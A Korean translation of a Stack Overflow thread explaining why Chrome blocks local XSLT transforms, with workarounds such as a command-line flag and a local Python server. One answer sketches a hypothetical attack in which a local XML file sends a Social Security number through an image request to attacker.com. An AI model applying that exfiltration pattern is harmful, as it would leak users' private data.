Chrome이 로컬 파일에서 XSL 변환을 수행하도록 만들 수 있습니까?


91

xslt를 살펴보고 w3schools의 예제로 테스트를 시작했습니다.

그러나 xml 및 xsl을 파일에 저장하고 로컬에서 열면 크롬이 xsl 변환을 수행하지 않습니다. 빈 페이지 만 표시됩니다.

나는 <?xml-stylesheet type="text/xsl" href="style.xsl">xml 문서에 태그를 추가했고 , firefox는 그것이 보이는대로 그것을 렌더링합니다. 또한 웹 서버를 통해 파일을 보면 크롬은 파일을 예상대로 표시합니다.

링크가 로컬 일 때 크롬이 스타일 시트 정보를 찾는 데 문제가 있습니까? href를로 변경해 file:///C:/xsl/style.xsl도 아무런 차이가 없습니다.

업데이트 : 이것은 file : /// *을 동일한 출처로 취급하지 않는 보안 정책의 부작용 인 것 같습니다 . 이로 인해 콘솔에 다음 오류가 나타납니다.

URL file : /// C : /xsl-rpg/data.xml이있는 프레임에서 URL file : /// C : /xsl-rpg/style.xsl을로드하려는 안전하지 않은 시도. 도메인, 프로토콜 및 포트가 일치해야합니다.


1
그것은에서 보이는 file:프로토콜 크롬 같은 도메인 오류가 발생합니다.

1
IE11에서는 작동합니다. Chrome이 점점 나 빠지고 있습니다.
Marco Demaio 19.01.15

답변:


74

짧은 대답은 "아니요, 다양한 브라우저 중 하나를 사용하십시오 " 입니다.

이유는이 작동하지 않음 인해 크롬 논란이 방법으로 해결했다고 보안 문제에 [1] [2] [3] [4] , 동안, 같은 디렉토리에 지역 XSLT 파일에 액세스 XML 파일을 차단하여 HTML 파일은 동일한 디렉토리에있는 .CSS 파일에 액세스 할 수 있습니다.

위에 언급 된 문제에서 사용자는 더 명확한 오류 메시지 (도메인, 프로토콜 및 포트가 실제로 일치하기 때문에)를 요청하거나 최소한 스타일없이 XML을 표시하도록 요청했습니다. Chrome 개발자는 이러한 요청을 무시했습니다.


18
보안 문제 가 타당 하지만 , HTML 파일이 동일한 디렉토리에서 이미지와 스크립트를로드 할 수있는 것처럼 XML 파일은 동일한 디렉토리에서 XSL 스타일 시트를로드 할 수 있어야합니다. 별표 표시 할 수 있는 문제가 있지만 Chrome 개발 팀은 이에 대한 새로운 댓글을 금지했습니다. 사용자가 로컬 파일 원본이 완화되기를 얼마나 나쁘게 원하는지 정량화 할 수 없다고 불평 했음에도 불구하고 Chrome 개발팀은 이에 대한 새로운 댓글을 금지했습니다.
Dan Dascalescu

1
흥미로운 사실 ​​: Mac (8.0)의 Safari는 로컬 XSLT와 잘 작동하지만 iOS (8) 시뮬레이터의 Safari (iOS에서도 가정합니다) Chrome에서와 같은 오류가 발생했습니다. "도메인, 프로토콜 및 포트가 일치해야합니다. ". 그러나 앱에서 UIWebView를 구현하고 XSLT로 XML을로드하면 모든 것이 정상적으로 작동합니다.
Paul Brewczynski

작업이 크롬 브라우저에서 특정 XSLT 렌더링을 수정하는 것입니다 다른 브라우저를 사용하여 거의 점 ...
n611x007

Chromium에서 작동하는 한 가지 접근 방식은 XSL 파일을 data : text / xsl URI로 XML 파일에 인라인하는 것입니다.
EricLaw

58

Chrome의 명령 줄 플래그를 사용하여 로컬에서이 작업을 수행 할 수 있습니다.

특정 플래그는 --allow-file-access-from-files

OS X : Terminal.app에서 실행 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Windows : 명령 프롬프트에서 다음을 실행하십시오. %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

참고 : 현재 실행 중이면 Chrome을 종료해야합니다. 그렇지 않으면 Ch


이것은 Windows 7에서 나를 위해 작동하지 않는 것 같습니다. 여기에있는 chrome.exe를 찾았습니다. C:\Program Files (x86)\Google\Chrome\Application--allow-file-access-from-files 명령은 잘 실행되지만 로컬 XML 문서 ( 로컬 XSLT 파일)이 표시되지 않습니다.
릭 모니카 지원

2
Windows 작업 관리자에서 chrome.exe에 대해 실행중인 모든 Windows 프로세스를 수동으로 종료해야 할 수도 있습니다. 저에게는 이것이 효과가있었습니다.
Christian Schulzendorff 2015 년

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files나를 위해 일했습니다. 분명히 Chrome Canary를 실행하고 있습니다. 이 명령을 실행하면 새 Chrome 창이 열리고 XSL 변환을 수행 할 수 있습니다.
SeanLF

2
Windows 7에서 더 빠르게 : 창 키 + R; "chrome --allow-file-access-from-files"; 시작하다.
Aaron Campbell

또는 PowerShell에서 (이전 크롬을 자동으로 종료) :get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

15

OP를 고수하고 싶다면 대답은 아니요 (다른 사람들이 지적했듯이)이지만 문제를 해결하는 한 가지 방법은 간단한 웹 서버를 실행하고 크롬에서 http를 통해 파일을 여는 것입니다. python 2.x가 설치되어있는 경우 다음을 입력하여 웹 서버를 실행할 수 있습니다.

python -m SimpleHTTPServer

또는 파이썬 3.x에서 :

python3 -m http.server

그런 다음 http://localhost:8000/yourfile.xml크롬에서 사용하여 파일을 엽니 다 . 바라건대 당신은 당신의 일을 끝내고 싶고 파일을 여는 것이 중요하지 않습니다.file://


3

Chrome 버그 페이지에서 약간의 해독이 필요했습니다. 그들은 문제가 무엇인지, 왜 모든 사람을 깨뜨리지 않고 모든 사람을 깨뜨리는 것을 선택했는지 설명하지 않는 데 매우 열심입니다.

내 하드 드라이브 어딘가에 XML 파일이 있다고 가정합니다 . 예 :

C : \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

그리고 악의 실체는 - 어떻게 든 - 내 컴퓨터, 예에 악의적 인 XML 파일을 드롭 관리 :

C : \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

TrojanVirusWorm.xml 에 스타일 시트 처리 명령 ( PI )이 포함되어 있다고 상상해보십시오 .

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

그런 다음 공격자는 내 브라우저에 로컬로 저장된 trojanVirusWorm.xml파일 을 탐색하도록 지시 합니다.

XML 파일 이 XSD 파일에 의해 변환되는 대신 XSD 파일의 내용을 읽을 수있는 방법이 있습니다 .

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

XML 파일이 스타일 시트 파일을 읽는 방법을 이해하지 못합니다. 그러나 Chrome 팀은 이것이 위험하며 해결할 수 없다고 확신합니다.

다른 모든 브라우저가 그것을 해결했습니다. 그들은 문제가 아니기 때문에 그것을 해결했습니다 .


3

xsl 파일에 따라 xml을 보는 내 해결 방법

헤더가있는 some_file.xml이 있다고 가정합니다.

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. 파일을 다운로드 https://some-site.com/Common.xsl하고some_file.xml
  2. 헤더의 일부를에서 href="https://some-site.com/Common.xsl"로 변경href="http://localhost:8001/Common.xsl"
  3. 파일이있는 디렉토리에서 실행하십시오- python3 -m http.server 8001
  4. 모든 브라우저에서 열기 http://localhost:8001/some_file.xml

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.